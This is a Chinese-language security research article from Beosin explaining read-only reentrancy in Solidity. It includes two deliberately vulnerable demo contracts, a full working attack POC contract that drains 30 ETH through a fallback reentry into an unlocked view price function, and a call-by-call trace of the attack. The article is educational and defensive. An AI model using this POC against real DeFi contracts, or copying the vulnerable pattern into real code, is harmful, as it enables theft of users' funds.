对于需要依赖其他项目作为数据支撑的项目,应严格检查依赖项目与自身项目相结合后的业务逻辑安全性。在两个项目单看均没有问题的情况下,结合后便可能出现严重的安全问题。
撰文:Sivan,Beosin 安全研究专家
近期,区块链生态中发生了多起重入攻击事件,这些攻击事件并不像我们之前认识的重入漏洞,而是在项目存在重入锁的情况下发生的只读重入攻击。
今天的安全审计必备知识,Beosin 安全研究团队将为大家讲解什么是「只读重入攻击」。
在 Solidity 智能合约编程过程中,允许一个智能合约调用另一个智能合约的代码。在很多项目的业务设计中,需要给某个地址发送 ETH,但如果 ETH 接收地址是智能合约的话,会调用智能合约的 fallback 函数。如果恶意用户在合约的 fallback 函数中写入精心设计的代码,就可能存在重入漏洞的风险。
攻击者可以在恶意合约的 fallback 函数中重新发起对项目合约的调用,此时第一次调用过程还没结束,部分变量还未更改,这种情况下进行第二次调用,会导致项目合约使用异常的变量进行相关计算或者使得攻击者可以绕过一些检查限制。
换而言之,重入漏洞的根本在于执行转账后并调用目标合约的某个接口,并且账本的改变在调用目标合约之后导致检查被绕过,也就是没严格按照检查 - 生效 - 交互模式设计。因此除了以太坊转账会导致重入漏洞,一些设计不当也会导致重入攻击,例如以下示例:
1、调用可控的外部函数会导致可重入可能

2、ERC721/1155 安全相关函数会导致重入可能

目前重入攻击是一个常见的漏洞,大部分区块链项目开发人员也能意识到重入攻击的危害,项目中基本都设置了重入锁,使得在调用某个拥有重入锁的函数过程中,无法再次调用拥有同样重入锁的任何函数。虽然重入锁可以有效的防止上述的重入攻击,但是还有一种叫做「只读型重入」的攻击方式却难以防范。
上述我们介绍了常见重入类型,其核心在于重入之后使用异常的状态计算新状态,从而导致状态更新异常。那如果我们调用的函数是 view 修饰的只读型函数,函数中并不会有任何的状态修改,该函数调用之后,并不会对本合约造成任何影响。所以,这类函数项目开发者都不会太在意其重入的风险,并不会为其添加重入锁。
虽然重入 view 修饰的函数基本不会对本合约造成影响,但是还有另外一种情况是某个合约会调用其他合约的 view 函数作为数据依赖,而该合约的 view 函数并未添加重入锁,那么则可能导致只读重入的风险。
例如一个项目 A 合约中可以质押代币和提取代币,并且根据合约凭证代币总量与质押总量提供查询价格的功能,质押代币与提取代币之间存在重入锁,查询功能不存在重入锁。现有另一个项目 B,提供质押提取的功能,质押与提取之间存在重入锁,质押提取函数均依赖于项目 A 的价格查询功能进行凭证代币的计算。
上述两个项目之间存在只读重入风险,如下图:
1、攻击者在 ContractA 中质押并提取代币。
2、提取代币会调用到攻击者合约 fallback 函数。
3、攻击者在合约中再次调用 ContractB 中的质押函数。
4、质押函数会调用 ContractA 的价格计算函数,此时 ContractA 合约的状态并未更新,导致计算价格错误,计算出更多的凭证代币发送给攻击者。
5、重入结束后,ContractA 的状态更新。
6、最后攻击者调用 ContractB 提取代币。
7、此时 ContractB 获取的数据已经是更新的,能提取更多的代币。

我们以如下 demo 为例进行只读重入问题的讲解,下文仅仅是测试代码,无真实业务逻辑,只作为研究只读重入的参考。
编写 ContractA 合约:
pragma solidity ^0.8.21;
contract ContractA {
uint256 private _totalSupply;
uint256 private _allstake;
mapping (address => uint256) public _balances;
bool check=true;
/**
* 重入锁。
**/
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
/**
* 根据合约凭证币总量与质押量计算质押价值,10e8 为精度处理。
**/
function get_price() public view virtual returns (uint256) {
if(_totalSupply==0||_allstake==0) return 10e8;
return _totalSupply*10e8/_allstake;
}
/**
* 用户质押,增加质押量并提供凭证币。
**/
function deposit() public payable noreentrancy(){
uint256 mintamount=msg.value*get_price()/10e8;
_allstake+=msg.value;
_balances[msg.sender]+=mintamount;
_totalSupply+=mintamount;
}
/**
* 用户提取,减少质押量并销毁凭证币总量。
**/
function withdraw(uint256 burnamount) public noreentrancy(){
uint256 sendamount=burnamount*10e8/get_price();
_allstake-=sendamount;
payable(msg.sender).call{value:sendamount}("");
_balances[msg.sender]-=burnamount;
_totalSupply-=burnamount;
}
}
部署 ContractA 合约并质押 50ETH,模拟项目已经处于运行状态。

编写 ContractB 合约(依赖 ContractA 合约 get_price 函数):
pragma solidity ^0.8.21;
interface ContractA {
function get_price() external view returns (uint256);
}
contract ContractB {
ContractA contract_a;
mapping (address => uint256) private _balances;
bool check=true;
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
function setcontracta(address addr) public {
contract_a = ContractA(addr);
}
/**
* 质押代币,根据 ContractA 合约的 get_price() 来计算质押代币的价值,计算出凭证代币的数量
**/
function depositFunds() public payable noreentrancy(){
uint256 mintamount=msg.value*contract_a.get_price()/10e8;
_balances[msg.sender]+=mintamount;
}
/**
* 提取代币,根据 ContractA 合约的 get_price() 来计算凭证代币的价值,计算出提取代币的数量
**/
function withdrawFunds(uint256 burnamount) public payable noreentrancy(){
_balances[msg.sender]-=burnamount;
uint256 amount=burnamount*10e8/contract_a.get_price();
msg.sender.call{value:amount}("");
}
function balanceof(address acount)public view returns (uint256){
return _balances[acount];
}
}
部署 ContractB 合约设置 ContractA 地址,并质押 30ETH,同样模拟项目已经处于运行状态。

编写攻击 POC 合约:
pragma solidity ^0.8.21;
interface ContractA {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface ContractB {
function depositFunds() external payable;
function withdrawFunds(uint256 amount) external;
function balanceof(address acount)external view returns (uint256);
}
contract POC {
ContractA contract_a;
ContractB contract_b;
address payable _owner;
uint flag=0;
uint256 depositamount=30 ether;
constructor() payable{
_owner=payable(msg.sender);
}
function setaddr(address _contracta,address _contractb) public {
contract_a=ContractA(_contracta);
contract_b=ContractB(_contractb);
}
/**
* 攻击开始调用的函数,添加流动性、移除流动性、最后提取代币。
**/
function start(uint256 amount)public {
contract_a.deposit{value:amount}();
contract_a.withdraw(amount);
contract_b.withdrawFunds(contract_b.balanceof(address(this)));
}
/**
* 重入中调用的质押函数。
**/
function deposit()internal {
contract_b.depositFunds{value:depositamount}();
}
/**
* 攻击结束后,提取 ETH。
**/
function getEther() public {
_owner.transfer(address(this).balance);
}
/**
* 回调函数,重入关键。
**/
fallback()payable external {
if(msg.sender==address(contract_a)){
deposit();
}
}
}
换一个 EOA 账户进行攻击合约的部署转入 50ETH,设置 ContractA 与 ContractB 地址。

向 start 函数中传入 50000000000000000000(50*10^18) 并执行,发现 ContractB 的 30ETH 被 POC 合约转移走了。

再次调用 getEther 函数,攻击者地址获利 30ETH。

代码调用过程分析:
start 函数首先调用 ContractA 合约 deposit 函数抵押 ETH,攻击者传入 50*10^18,加上最开始合约拥有的 50*10^18,此时,_allstake 和_totalSupply 都是 100*10^18。

接下来调用 ContractA 合约 withdraw 函数提取代币,合约会先更新_allstake,并将 50 个 ETH 发送给攻击合约,此时会调用到攻击合约的 fallback 函数,最后再更新_totalSupply。

在 fallback 函数中攻击合约调用 ContractB 合约质押 30 个 ETH,由于 get_price 为 view 函数,所以这里 ContractB 合约成功重入了 ContractA 的 get_price 函数,此时由于还未更新_totalSupply,依旧为 100*10^18,但_allstake 已经减小到 50*10^18,所以这里返回的值将扩大 2 倍。会给攻击合约增加 60*10^18 的凭证币。


重入结束后,攻击合约调用 ContractB 合约提取 ETH,此时_totalSupply 已经更新成 50*10^18,将计算出与凭证币相同数量的 ETH。给攻击合约转移了 60ETH。最终攻击者获利 30ETH。

对于上面的安全问题,Beosin 安全团队建议:对于需要依赖其他项目作为数据支撑的项目,应该严格检查依赖项目与自身项目相结合后的业务逻辑安全性。在两个项目单看均没有问题的情况下,结合后便可能出现严重的安全问题。
【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
